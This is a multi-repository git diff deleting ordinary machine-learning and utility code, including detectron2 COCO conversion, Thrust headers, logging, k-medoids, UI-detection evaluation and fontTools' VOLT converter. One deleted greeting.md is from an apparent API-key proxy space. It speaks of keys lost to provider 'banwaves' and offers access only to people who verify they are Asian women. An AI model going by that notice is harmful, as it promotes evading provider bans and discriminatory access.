-                segmentation = annotation["segmentation"]
-                # TODO: check segmentation type: RLE, BinaryMask or Polygon
-                if isinstance(segmentation, list):
-                    polygons = PolygonMasks([segmentation])
-                    area = polygons.area()[0].item()
-                elif isinstance(segmentation, dict):  # RLE
-                    area = mask_util.area(segmentation)
-                else:
-                    raise TypeError(f"Unknown segmentation type {type(segmentation)}!")
-            else:
-                # Computing areas using bounding boxes
-                bbox_xy = BoxMode.convert(bbox, BoxMode.XYWH_ABS, BoxMode.XYXY_ABS)
-                area = Boxes([bbox_xy]).area()[0].item()
-
-            if "keypoints" in annotation:
-                keypoints = annotation["keypoints"]  # list[int]
-                for idx, v in enumerate(keypoints):
-                    if idx % 3 != 2:
-                        # COCO's segmentation coordinates are floating points in [0, H or W],
-                        # but keypoint coordinates are integers in [0, H-1 or W-1]
-                        # For COCO format consistency we substract 0.5
-                        # https://github.com/facebookresearch/detectron2/pull/175#issuecomment-551202163
-                        keypoints[idx] = v - 0.5
-                if "num_keypoints" in annotation:
-                    num_keypoints = annotation["num_keypoints"]
-                else:
-                    num_keypoints = sum(kp > 0 for kp in keypoints[2::3])
-
-            # COCO requirement:
-            #   linking annotations to images
-            #   "id" field must start with 1
-            coco_annotation["id"] = len(coco_annotations) + 1
-            coco_annotation["image_id"] = coco_image["id"]
-            coco_annotation["bbox"] = [round(float(x), 3) for x in bbox]
-            coco_annotation["area"] = area
-            coco_annotation["iscrowd"] = annotation.get("iscrowd", 0)
-            coco_annotation["category_id"] = reverse_id_mapper(annotation["category_id"])
-
-            # Add optional fields
-            if "keypoints" in annotation:
-                coco_annotation["keypoints"] = keypoints
-                coco_annotation["num_keypoints"] = num_keypoints
-
-            if "segmentation" in annotation:
-                coco_annotation["segmentation"] = annotation["segmentation"]
-
-            coco_annotations.append(coco_annotation)
-
-    logger.info(
-        "Conversion finished, "
-        f"num images: {len(coco_images)}, num annotations: {len(coco_annotations)}"
-    )
-
-    info = {
-        "date_created": str(datetime.datetime.now()),
-        "description": "Automatically generated COCO json file for Detectron2.",
-    }
-    coco_dict = {
-        "info": info,
-        "images": coco_images,
-        "annotations": coco_annotations,
-        "categories": categories,
-        "licenses": None,
-    }
-    return coco_dict
-
-
-def convert_to_coco_json(dataset_name, output_file, allow_cached=True):
-    """
-    Converts dataset into COCO format and saves it to a json file.
-    dataset_name must be registered in DatasetCatalog and in detectron2's standard format.
-
-    Args:
-        dataset_name:
-            reference from the config file to the catalogs
-            must be registered in DatasetCatalog and in detectron2's standard format
-        output_file: path of json file that will be saved to
-        allow_cached: if json file is already present then skip conversion
-    """
-
-    # TODO: The dataset or the conversion script *may* change,
-    # a checksum would be useful for validating the cached data
-
-    PathManager.mkdirs(os.path.dirname(output_file))
-    with file_lock(output_file):
-        if PathManager.exists(output_file) and allow_cached:
-            logger.warning(
-                f"Using previously cached COCO format annotations at '{output_file}'. "
-                "You need to clear the cache file if your dataset has been modified."
-            )
-        else:
-            logger.info(f"Converting annotations of dataset '{dataset_name}' to COCO format ...)")
-            coco_dict = convert_to_coco_dict(dataset_name)
-
-            logger.info(f"Caching COCO format annotations at '{output_file}' ...")
-            with PathManager.open(output_file, "w") as f:
-                json.dump(coco_dict, f)
-
-
-if __name__ == "__main__":
-    """
-    Test the COCO json dataset loader.
-
-    Usage:
-        python -m detectron2.data.datasets.coco \
-            path/to/json path/to/image_root dataset_name
-
-        "dataset_name" can be "coco_2014_minival_100", or other
-        pre-registered ones
-    """
-    from detectron2.utils.logger import setup_logger
-    from detectron2.utils.visualizer import Visualizer
-    import detectron2.data.datasets  # noqa # add pre-defined metadata
-    import sys
-
-    logger = setup_logger(name=__name__)
-    assert sys.argv[3] in DatasetCatalog.list()
-    meta = MetadataCatalog.get(sys.argv[3])
-
-    dicts = load_coco_json(sys.argv[1], sys.argv[2], sys.argv[3])
-    logger.info("Done loading {} samples.".format(len(dicts)))
-
-    dirname = "coco-data-vis"
-    os.makedirs(dirname, exist_ok=True)
-    for d in dicts:
-        img = np.array(Image.open(d["file_name"]))
-        visualizer = Visualizer(img, metadata=meta)
-        vis = visualizer.draw_dataset_dict(d)
-        fpath = os.path.join(dirname, os.path.basename(d["file_name"]))
-        vis.save(fpath)
diff --git a/spaces/CVPR/LIVE/thrust/thrust/event.h b/spaces/CVPR/LIVE/thrust/thrust/event.h
deleted file mode 100644
index 75578d96443c2e20c0b80b4d4efe28a6a5a5b04f..0000000000000000000000000000000000000000
--- a/spaces/CVPR/LIVE/thrust/thrust/event.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-/*! \file thrust/event.h
- *  \brief `thrust::event`, an asynchronous handle type.
- */
-
-#pragma once
-
-#include <thrust/future.h>
-
-// TODO: Actually separate `<thrust/future.h>` into two headers.
-
diff --git a/spaces/CVPR/LIVE/thrust/thrust/system/detail/adl/merge.h b/spaces/CVPR/LIVE/thrust/thrust/system/detail/adl/merge.h
deleted file mode 100644
index 7abca9bcf3f1697196277c40c4718c2c5004de9a..0000000000000000000000000000000000000000
--- a/spaces/CVPR/LIVE/thrust/thrust/system/detail/adl/merge.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a fill of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/config.h>
-
-// the purpose of this header is to #include the merge.h header
-// of the sequential, host, and device systems. It should be #included in any
-// code which uses adl to dispatch merge
-
-#include <thrust/system/detail/sequential/merge.h>
-
-// SCons can't see through the #defines below to figure out what this header
-// includes, so we fake it out by specifying all possible files we might end up
-// including inside an #if 0.
-#if 0
-#include <thrust/system/cpp/detail/merge.h>
-#include <thrust/system/cuda/detail/merge.h>
-#include <thrust/system/omp/detail/merge.h>
-#include <thrust/system/tbb/detail/merge.h>
-#endif
-
-#define __THRUST_HOST_SYSTEM_MERGE_HEADER <__THRUST_HOST_SYSTEM_ROOT/detail/merge.h>
-#include __THRUST_HOST_SYSTEM_MERGE_HEADER
-#undef __THRUST_HOST_SYSTEM_MERGE_HEADER
-
-#define __THRUST_DEVICE_SYSTEM_MERGE_HEADER <__THRUST_DEVICE_SYSTEM_ROOT/detail/merge.h>
-#include __THRUST_DEVICE_SYSTEM_MERGE_HEADER
-#undef __THRUST_DEVICE_SYSTEM_MERGE_HEADER
-
diff --git a/spaces/CVPR/LIVE/thrust/thrust/system/detail/sequential/count.h b/spaces/CVPR/LIVE/thrust/thrust/system/detail/sequential/count.h
deleted file mode 100644
index ed3cadffe364db5a6b63407a2d35ddd9d18b0a3b..0000000000000000000000000000000000000000
--- a/spaces/CVPR/LIVE/thrust/thrust/system/detail/sequential/count.h
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/config.h>
-
-// this system has no special count functions
-
diff --git a/spaces/CVPR/Text2Human/Text2Human/utils/logger.py b/spaces/CVPR/Text2Human/Text2Human/utils/logger.py
deleted file mode 100644
index 4fee1a2b221c4d219206fd8f3201db3b52566adb..0000000000000000000000000000000000000000
--- a/spaces/CVPR/Text2Human/Text2Human/utils/logger.py
+++ /dev/null
@@ -1,112 +0,0 @@
-import datetime
-import logging
-import time
-
-
-class MessageLogger():
-    """Message logger for printing.
-
-    Args:
-        opt (dict): Config. It contains the following keys:
-            name (str): Exp name.
-            logger (dict): Contains 'print_freq' (str) for logger interval.
-            train (dict): Contains 'niter' (int) for total iters.
-            use_tb_logger (bool): Use tensorboard logger.
-        start_iter (int): Start iter. Default: 1.
-        tb_logger (obj:`tb_logger`): Tensorboard logger. Default： None.
-    """
-
-    def __init__(self, opt, start_iter=1, tb_logger=None):
-        self.exp_name = opt['name']
-        self.interval = opt['print_freq']
-        self.start_iter = start_iter
-        self.max_iters = opt['max_iters']
-        self.use_tb_logger = opt['use_tb_logger']
-        self.tb_logger = tb_logger
-        self.start_time = time.time()
-        self.logger = get_root_logger()
-
-    def __call__(self, log_vars):
-        """Format logging message.
-
-        Args:
-            log_vars (dict): It contains the following keys:
-                epoch (int): Epoch number.
-                iter (int): Current iter.
-                lrs (list): List for learning rates.
-
-                time (float): Iter time.
-                data_time (float): Data time for each iter.
-        """
-        # epoch, iter, learning rates
-        epoch = log_vars.pop('epoch')
-        current_iter = log_vars.pop('iter')
-        lrs = log_vars.pop('lrs')
-
-        message = (f'[{self.exp_name[:5]}..][epoch:{epoch:3d}, '
-                   f'iter:{current_iter:8,d}, lr:(')
-        for v in lrs:
-            message += f'{v:.3e},'
-        message += ')] '
-
-        # time and estimated time
-        if 'time' in log_vars.keys():
-            iter_time = log_vars.pop('time')
-            data_time = log_vars.pop('data_time')
-
-            total_time = time.time() - self.start_time
-            time_sec_avg = total_time / (current_iter - self.start_iter + 1)
-            eta_sec = time_sec_avg * (self.max_iters - current_iter - 1)
-            eta_str = str(datetime.timedelta(seconds=int(eta_sec)))
-            message += f'[eta: {eta_str}, '
-            message += f'time: {iter_time:.3f}, data_time: {data_time:.3f}] '
-
-        # other items, especially losses
-        for k, v in log_vars.items():
-            message += f'{k}: {v:.4e} '
-            # tensorboard logger
-            if self.use_tb_logger and 'debug' not in self.exp_name:
-                self.tb_logger.add_scalar(k, v, current_iter)
-
-        self.logger.info(message)
-
-
-def init_tb_logger(log_dir):
-    from torch.utils.tensorboard import SummaryWriter
-    tb_logger = SummaryWriter(log_dir=log_dir)
-    return tb_logger
-
-
-def get_root_logger(logger_name='base', log_level=logging.INFO, log_file=None):
-    """Get the root logger.
-
-    The logger will be initialized if it has not been initialized. By default a
-    StreamHandler will be added. If `log_file` is specified, a FileHandler will
-    also be added.
-
-    Args:
-        logger_name (str): root logger name. Default: base.
-        log_file (str | None): The log filename. If specified, a FileHandler
-            will be added to the root logger.
-        log_level (int): The root logger level. Note that only the process of
-            rank 0 is affected, while other processes will set the level to
-            "Error" and be silent most of the time.
-
-    Returns:
-        logging.Logger: The root logger.
-    """
-    logger = logging.getLogger(logger_name)
-    # if the logger has been initialized, just return it
-    if logger.hasHandlers():
-        return logger
-
-    format_str = '%(asctime)s.%(msecs)03d - %(levelname)s: %(message)s'
-    logging.basicConfig(format=format_str, level=log_level)
-
-    if log_file is not None:
-        file_handler = logging.FileHandler(log_file, 'w')
-        file_handler.setFormatter(logging.Formatter(format_str))
-        file_handler.setLevel(log_level)
-        logger.addHandler(file_handler)
-
-    return logger
diff --git a/spaces/CVPR/WALT/cwalt/kmedoid.py b/spaces/CVPR/WALT/cwalt/kmedoid.py
deleted file mode 100644
index 6a04839cf1fd9e8d1bf56872f1c67d0bd7005cb9..0000000000000000000000000000000000000000
--- a/spaces/CVPR/WALT/cwalt/kmedoid.py
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-"""
-Created on Fri May 20 15:18:56 2022
-
-@author: dinesh
-"""
-
-import numpy as np
-import math
-
-def kMedoids(D, k, tmax=100):
-    # determine dimensions of distance matrix D
-    m, n = D.shape
-
-    np.fill_diagonal(D, math.inf)
-
-    if k > n:
-        raise Exception('too many medoids')
-    # randomly initialize an array of k medoid indices
-    M = np.arange(n)
-    np.random.shuffle(M)
-    M = np.sort(M[:k])
-
-    # create a copy of the array of medoid indices
-    Mnew = np.copy(M)
-
-    # initialize a dictionary to represent clusters
-    C = {}
-    for t in range(tmax):
-        # determine clusters, i. e. arrays of data indices
-        J = np.argmin(D[:,M], axis=1)
-
-        for kappa in range(k):
-            C[kappa] = np.where(J==kappa)[0]
-        # update cluster medoids
-        for kappa in range(k):
-            J = np.mean(D[np.ix_(C[kappa],C[kappa])],axis=1)
-            j = np.argmin(J)
-            Mnew[kappa] = C[kappa][j]
-        np.sort(Mnew)
-        # check for convergence
-        if np.array_equal(M, Mnew):
-            break
-        M = np.copy(Mnew)
-    else:
-        # final update of cluster memberships
-        J = np.argmin(D[:,M], axis=1)
-        for kappa in range(k):
-            C[kappa] = np.where(J==kappa)[0]
-
-    np.fill_diagonal(D, 0)
-
-    # return results
-    return M, C
\ No newline at end of file
diff --git a/spaces/CVPR/unicl-zero-shot-img-recog/model/text_encoder/hf_model.py b/spaces/CVPR/unicl-zero-shot-img-recog/model/text_encoder/hf_model.py
deleted file mode 100644
index 588aa4c5f2408905d3d080d8679abc47d8d22c25..0000000000000000000000000000000000000000
--- a/spaces/CVPR/unicl-zero-shot-img-recog/model/text_encoder/hf_model.py
+++ /dev/null
@@ -1,27 +0,0 @@
-import logging
-
-from transformers import AutoConfig
-from transformers import AutoModel
-
-from .registry import register_lang_encoder
-
-logger = logging.getLogger(__name__)
-
-
-@register_lang_encoder
-def lang_encoder(config_encoder, tokenizer, verbose, **kwargs):
-
-    hf_model = None
-    if config_encoder['LOAD_PRETRAINED']:
-        hf_model = AutoModel.from_pretrained(config_encoder['HF_MODEL'])
-    else:
-        hf_config = AutoConfig.from_pretrained(config_encoder['HF_MODEL'])
-
-        if 'CONFIG_OVERRIDE' in config_encoder:
-            logger.warning(f'Override config: {config_encoder["CONFIG_OVERRIDE"]}')
-            hf_config.update(config_encoder['CONFIG_OVERRIDE'])
-
-        logger.info(f'HF model config: {hf_config}')
-        hf_model = AutoModel.from_config(hf_config)
-
-    return hf_model
diff --git a/spaces/CatNika/Asian_Proxy/greeting.md b/spaces/CatNika/Asian_Proxy/greeting.md
deleted file mode 100644
index 219964fe7fc1c66a48e4afc4d5e27ea7930a8486..0000000000000000000000000000000000000000
--- a/spaces/CatNika/Asian_Proxy/greeting.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# I don't appear on any sites, don't impersonate me :< 😾 I'm not active on the 4chan site.
-
----
-
-
-# If you can verify that you're an Asian woman, I'll let you into my Discord. But please don't send me any body pictures. I'm not asking for that kind of thing. But don't try to deceive me with lies. I'll continue the conversation to confirm if you're telling the truth. Due to recent fucking crappy banwaves, my keys have been dying quite a bit, so I only plan to share it with people I want to.
-
-# Contact with me: NishiharaNika@proton.me
-
-<div style="display: flex; align-items: center; justify-content: center; background-color: #f5e6e6; padding: 20px; border-radius: 10px; box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5);">
-    <iframe width="800" height="500" src="https://www.youtube.com/embed/SX_ViT4Ra7k?autoplay=1&rel=0&loop=1&controls=0" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen style="border-radius: 5px;"></iframe>
-    <p style="color: #333; margin-left: 20px; font-size: 16px; font-weight: bold;">While you're here, immerse yourself in some of my favorite song recommendations.</p>
-</div>
diff --git a/spaces/Cpp4App/Cpp4App/CDM/result_processing/evaluation.py b/spaces/Cpp4App/Cpp4App/CDM/result_processing/evaluation.py
deleted file mode 100644
index def5f3d2dee07a487718a118af32adb62e21d207..0000000000000000000000000000000000000000
--- a/spaces/Cpp4App/Cpp4App/CDM/result_processing/evaluation.py
+++ /dev/null
@@ -1,208 +0,0 @@
-import json
-import numpy as np
-import cv2
-from glob import glob
-from os.path import join as pjoin
-from tqdm import tqdm
-
-
-def resize_label(bboxes, d_height, gt_height, bias=0):
-    bboxes_new = []
-    scale = gt_height / d_height
-    for bbox in bboxes:
-        bbox = [int(b * scale + bias) for b in bbox]
-        bboxes_new.append(bbox)
-    return bboxes_new
-
-
-def draw_bounding_box(org, corners, color=(0, 255, 0), line=2, show=False):
-    board = org.copy()
-    for i in range(len(corners)):
-        board = cv2.rectangle(board, (corners[i][0], corners[i][1]), (corners[i][2], corners[i][3]), color, line)
-    if show:
-        cv2.imshow('a', cv2.resize(board, (500, 1000)))
-        cv2.waitKey(0)
-    return board
-
-
-def load_detect_result_json(reslut_file_root, shrink=4):
-    def is_bottom_or_top(corner):
-        column_min, row_min, column_max, row_max = corner
-        if row_max < 36 or row_min > 725:
-            return True
-        return False
-
-    result_files = glob(pjoin(reslut_file_root, '*.json'))
-    compos_reform = {}
-    print('Loading %d detection results' % len(result_files))
-    for reslut_file in tqdm(result_files):
-        img_name = reslut_file.split('\\')[-1].split('.')[0]
-        compos = json.load(open(reslut_file, 'r'))['compos']
-        for compo in compos:
-            if compo['column_max'] - compo['column_min'] < 10 or compo['row_max'] - compo['row_min'] < 10:
-                continue
-            if is_bottom_or_top((compo['column_min'], compo['row_min'], compo['column_max'], compo['row_max'])):
-                continue
-            if img_name not in compos_reform:
-                compos_reform[img_name] = {'bboxes': [[compo['column_min'] + shrink, compo['row_min'] + shrink, compo['column_max'] - shrink, compo['row_max'] - shrink]],
-                                           'categories': [compo['category']]}
-            else:
-                compos_reform[img_name]['bboxes'].append([compo['column_min'] + shrink, compo['row_min'] + shrink, compo['column_max'] - shrink, compo['row_max'] - shrink])
-                compos_reform[img_name]['categories'].append(compo['category'])
-    return compos_reform
-
-
-def load_ground_truth_json(gt_file):
-    def get_img_by_id(img_id):
-        for image in images:
-            if image['id'] == img_id:
-                return image['file_name'].split('/')[-1][:-4], (image['height'], image['width'])
-
-    def cvt_bbox(bbox):
-        '''
-        :param bbox: [x,y,width,height]
-        :return: [col_min, row_min, col_max, row_max]
-        '''
-        bbox = [int(b) for b in bbox]
-        return [bbox[0], bbox[1], bbox[0] + bbox[2], bbox[1] + bbox[3]]
-
-    data = json.load(open(gt_file, 'r'))
-    images = data['images']
-    annots = data['annotations']
-    compos = {}
-    print('Loading %d ground truth' % len(annots))
-    for annot in tqdm(annots):
-        img_name, size = get_img_by_id(annot['image_id'])
-        if img_name not in compos:
-            compos[img_name] = {'bboxes': [cvt_bbox(annot['bbox'])], 'categories': [annot['category_id']], 'size': size}
-        else:
-            compos[img_name]['bboxes'].append(cvt_bbox(annot['bbox']))
-            compos[img_name]['categories'].append(annot['category_id'])
-    return compos
-
-
-def eval(detection, ground_truth, img_root, show=True, no_text=False, only_text=False):
-    def compo_filter(compos, flag):
-        if not no_text and not only_text:
-            return compos
-        compos_new = {'bboxes': [], 'categories': []}
-        for k, category in enumerate(compos['categories']):
-            if only_text:
-                if flag == 'det' and category != 'TextView':
-                    continue
-                if flag == 'gt' and int(category) != 14:
-                    continue
-            elif no_text:
-                if flag == 'det' and category == 'TextView':
-                    continue
-                if flag == 'gt' and int(category) == 14:
-                    continue
-
-            compos_new['bboxes'].append(compos['bboxes'][k])
-            compos_new['categories'].append(category)
-        return compos_new
-
-    def match(org, d_bbox, gt_bboxes, matched):
-        '''
-        :param matched: mark if the ground truth component is matched
-        :param d_bbox: [col_min, row_min, col_max, row_max]
-        :param gt_bboxes: list of ground truth [[col_min, row_min, col_max, row_max]]
-        :return: Boolean: if IOU large enough or detected box is contained by ground truth
-        '''
-        area_d = (d_bbox[2] - d_bbox[0]) * (d_bbox[3] - d_bbox[1])
-        for i, gt_bbox in enumerate(gt_bboxes):
-            if matched[i] == 0:
-                continue
-            area_gt = (gt_bbox[2] - gt_bbox[0]) * (gt_bbox[3] - gt_bbox[1])
-            col_min = max(d_bbox[0], gt_bbox[0])
-            row_min = max(d_bbox[1], gt_bbox[1])
-            col_max = min(d_bbox[2], gt_bbox[2])
-            row_max = min(d_bbox[3], gt_bbox[3])
-            # if not intersected, area intersection should be 0
-            w = max(0, col_max - col_min)
-            h = max(0, row_max - row_min)
-            area_inter = w * h
-            if area_inter == 0:
-                continue
-            iod = area_inter / area_d
-            iou = area_inter / (area_d + area_gt - area_inter)
-            # if show:
-            #     cv2.putText(org, (str(round(iou, 2)) + ',' + str(round(iod, 2))), (d_bbox[0], d_bbox[1]),
-            #                 cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)
-
-            if iou > 0.9 or iod == 1:
-                matched[i] = 0
-                return True
-        return False
-
-    amount = len(detection)
-    TP, FP, FN = 0, 0, 0
-    pres, recalls, f1s = [], [], []
-    for i, image_id in enumerate(detection):
-        TP_this, FP_this, FN_this = 0, 0, 0
-        img = cv2.imread(pjoin(img_root, image_id + '.jpg'))
-        d_compos = detection[image_id]
-        if image_id not in ground_truth:
-            continue
-        gt_compos = ground_truth[image_id]
-
-        org_height = gt_compos['size'][0]
-
-        d_compos = compo_filter(d_compos, 'det')
-        gt_compos = compo_filter(gt_compos, 'gt')
-
-        d_compos['bboxes'] = resize_label(d_compos['bboxes'], 800, org_height)
-        matched = np.ones(len(gt_compos['bboxes']), dtype=int)
-        for d_bbox in d_compos['bboxes']:
-            if match(img, d_bbox, gt_compos['bboxes'], matched):
-                TP += 1
-                TP_this += 1
-            else:
-                FP += 1
-                FP_this += 1
-        FN += sum(matched)
-        FN_this = sum(matched)
-
-        try:
-            pre_this = TP_this / (TP_this + FP_this)
-            recall_this = TP_this / (TP_this + FN_this)
-            f1_this = 2 * (pre_this * recall_this) / (pre_this + recall_this)
-        except:
-            print('empty')
-            continue
-
-        pres.append(pre_this)
-        recalls.append(recall_this)
-        f1s.append(f1_this)
-        if show:
-            print(image_id + '.jpg')
-            print('[%d/%d] TP:%d, FP:%d, FN:%d, Precesion:%.3f, Recall:%.3f' % (
-                i, amount, TP_this, FP_this, FN_this, pre_this, recall_this))
-            # cv2.imshow('org', cv2.resize(img, (500, 1000)))
-            broad = draw_bounding_box(img, d_compos['bboxes'], color=(255, 0, 0), line=3)
-            draw_bounding_box(broad, gt_compos['bboxes'], color=(0, 0, 255), show=True, line=2)
-
-        if i % 200 == 0:
-            precision = TP / (TP + FP)
-            recall = TP / (TP + FN)
-            f1 = 2 * (precision * recall) / (precision + recall)
-            print(
-                '[%d/%d] TP:%d, FP:%d, FN:%d, Precesion:%.3f, Recall:%.3f, F1:%.3f' % (i, amount, TP, FP, FN, precision, recall, f1))
-
-    precision = TP / (TP + FP)
-    recall = TP / (TP + FN)
-    print('[%d/%d] TP:%d, FP:%d, FN:%d, Precesion:%.3f, Recall:%.3f, F1:%.3f' % (i, amount, TP, FP, FN, precision, recall, f1))
-    # print("Average precision:%.4f; Average recall:%.3f" % (sum(pres)/len(pres), sum(recalls)/len(recalls)))
-
-    return pres, recalls, f1s
-
-
-no_text = True
-only_text = False
-
-# detect = load_detect_result_json('E:\\Mulong\\Result\\rico\\rico_uied\\rico_new_uied_cls\\ip')
-detect = load_detect_result_json('E:\\Mulong\\Result\\rico\\rico_uied\\rico_new_uied_cls\\merge')
-# detect = load_detect_result_json('E:\\Mulong\\Result\\rico\\rico_uied\\rico_new_uied_v3\\merge')
-# detect = load_detect_result_json('E:\\Mulong\\Result\\rico\\rico_uied\\rico_new_uied_v3\\ocr')
-gt = load_ground_truth_json('E:\\Mulong\\Datasets\\rico\\instances_test.json')
-eval(detect, gt, 'E:\\Mulong\\Datasets\\rico\\combined', show=False, no_text=no_text, only_text=only_text)
diff --git a/spaces/DHEIVER/Alzheimer/README.md b/spaces/DHEIVER/Alzheimer/README.md
deleted file mode 100644
index cb195f7d6adc28f1c5c81270b546bbb238b68eaa..0000000000000000000000000000000000000000
--- a/spaces/DHEIVER/Alzheimer/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Alzheimer
-emoji: 🐠
-colorFrom: gray
-colorTo: pink
-sdk: gradio
-sdk_version: 3.29.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/voltLib/voltToFea.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/voltLib/voltToFea.py
deleted file mode 100644
index 2265d5029533706e59d61d4626217d32b5066acc..0000000000000000000000000000000000000000
--- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/voltLib/voltToFea.py
+++ /dev/null
@@ -1,726 +0,0 @@
-"""\
-MS VOLT ``.vtp`` to AFDKO ``.fea`` OpenType Layout converter.
-
-Usage
------
-
-To convert a VTP project file:
-
-
-    $ fonttools voltLib.voltToFea input.vtp output.fea
-
-It is also possible convert font files with `TSIV` table (as saved from Volt),
-in this case the glyph names used in the Volt project will be mapped to the
-actual glyph names in the font files when written to the feature file:
-
-    $ fonttools voltLib.voltToFea input.ttf output.fea
-
-The ``--quiet`` option can be used to suppress warnings.
-
-The ``--traceback`` can be used to get Python traceback in case of exceptions,
-instead of suppressing the traceback.
-
-
-Limitations
------------
-
-* Not all VOLT features are supported, the script will error if it it
-  encounters something it does not understand. Please report an issue if this
-  happens.
-* AFDKO feature file syntax for mark positioning is awkward and does not allow
-  setting the mark coverage. It also defines mark anchors globally, as a result
-  some mark positioning lookups might cover many marks than what was in the VOLT
-  file. This should not be an issue in practice, but if it is then the only way
-  is to modify the VOLT file or the generated feature file manually to use unique
-  mark anchors for each lookup.
-* VOLT allows subtable breaks in any lookup type, but AFDKO feature file
-  implementations vary in their support; currently AFDKO’s makeOTF supports
-  subtable breaks in pair positioning lookups only, while FontTools’ feaLib
-  support it for most substitution lookups and only some positioning lookups.
-"""
-
-import logging
-import re
-from io import StringIO
-
-from fontTools.feaLib import ast
-from fontTools.ttLib import TTFont, TTLibError
-from fontTools.voltLib import ast as VAst
-from fontTools.voltLib.parser import Parser as VoltParser
-
-log = logging.getLogger("fontTools.voltLib.voltToFea")
-
-TABLES = ["GDEF", "GSUB", "GPOS"]
-
-
-class MarkClassDefinition(ast.MarkClassDefinition):
-    def asFea(self, indent=""):
-        res = ""
-        if not getattr(self, "used", False):
-            res += "#"
-        res += ast.MarkClassDefinition.asFea(self, indent)
-        return res
-
-
-# For sorting voltLib.ast.GlyphDefinition, see its use below.
-class Group:
-    def __init__(self, group):
-        self.name = group.name.lower()
-        self.groups = [
-            x.group.lower() for x in group.enum.enum if isinstance(x, VAst.GroupName)
-        ]
-
-    def __lt__(self, other):
-        if self.name in other.groups:
-            return True
-        if other.name in self.groups:
-            return False
-        if self.groups and not other.groups:
-            return False
-        if not self.groups and other.groups:
-            return True
-
-
-class VoltToFea:
-    _NOT_LOOKUP_NAME_RE = re.compile(r"[^A-Za-z_0-9.]")
-    _NOT_CLASS_NAME_RE = re.compile(r"[^A-Za-z_0-9.\-]")
-
-    def __init__(self, file_or_path, font=None):
-        self._file_or_path = file_or_path
-        self._font = font
-
-        self._glyph_map = {}
-        self._glyph_order = None
-
-        self._gdef = {}
-        self._glyphclasses = {}
-        self._features = {}
-        self._lookups = {}
-
-        self._marks = set()
-        self._ligatures = {}
-
-        self._markclasses = {}
-        self._anchors = {}
-
-        self._settings = {}
-
-        self._lookup_names = {}
-        self._class_names = {}
-
-    def _lookupName(self, name):
-        if name not in self._lookup_names:
-            res = self._NOT_LOOKUP_NAME_RE.sub("_", name)
-            while res in self._lookup_names.values():
-                res += "_"
-            self._lookup_names[name] = res
-        return self._lookup_names[name]
-
-    def _className(self, name):
-        if name not in self._class_names:
-            res = self._NOT_CLASS_NAME_RE.sub("_", name)
-            while res in self._class_names.values():
-                res += "_"
-            self._class_names[name] = res
-        return self._class_names[name]
-
-    def _collectStatements(self, doc, tables):
-        # Collect and sort group definitions first, to make sure a group
-        # definition that references other groups comes after them since VOLT
-        # does not enforce such ordering, and feature file require it.
-        groups = [s for s in doc.statements if isinstance(s, VAst.GroupDefinition)]
-        for statement in sorted(groups, key=lambda x: Group(x)):
-            self._groupDefinition(statement)
-
-        for statement in doc.statements:
-            if isinstance(statement, VAst.GlyphDefinition):
-                self._glyphDefinition(statement)
-            elif isinstance(statement, VAst.AnchorDefinition):
-                if "GPOS" in tables:
-                    self._anchorDefinition(statement)
-            elif isinstance(statement, VAst.SettingDefinition):
-                self._settingDefinition(statement)
-            elif isinstance(statement, VAst.GroupDefinition):
-                pass  # Handled above
-            elif isinstance(statement, VAst.ScriptDefinition):
-                self._scriptDefinition(statement)
-            elif not isinstance(statement, VAst.LookupDefinition):
-                raise NotImplementedError(statement)
-
-        # Lookup definitions need to be handled last as they reference glyph
-        # and mark classes that might be defined after them.
-        for statement in doc.statements:
-            if isinstance(statement, VAst.LookupDefinition):
-                if statement.pos and "GPOS" not in tables:
-                    continue
-                if statement.sub and "GSUB" not in tables:
-                    continue
-                self._lookupDefinition(statement)
-
-    def _buildFeatureFile(self, tables):
-        doc = ast.FeatureFile()
-        statements = doc.statements
-
-        if self._glyphclasses:
-            statements.append(ast.Comment("# Glyph classes"))
-            statements.extend(self._glyphclasses.values())
-
-        if self._markclasses:
-            statements.append(ast.Comment("\n# Mark classes"))
-            statements.extend(c[1] for c in sorted(self._markclasses.items()))
-
-        if self._lookups:
-            statements.append(ast.Comment("\n# Lookups"))
-            for lookup in self._lookups.values():
-                statements.extend(getattr(lookup, "targets", []))
-                statements.append(lookup)
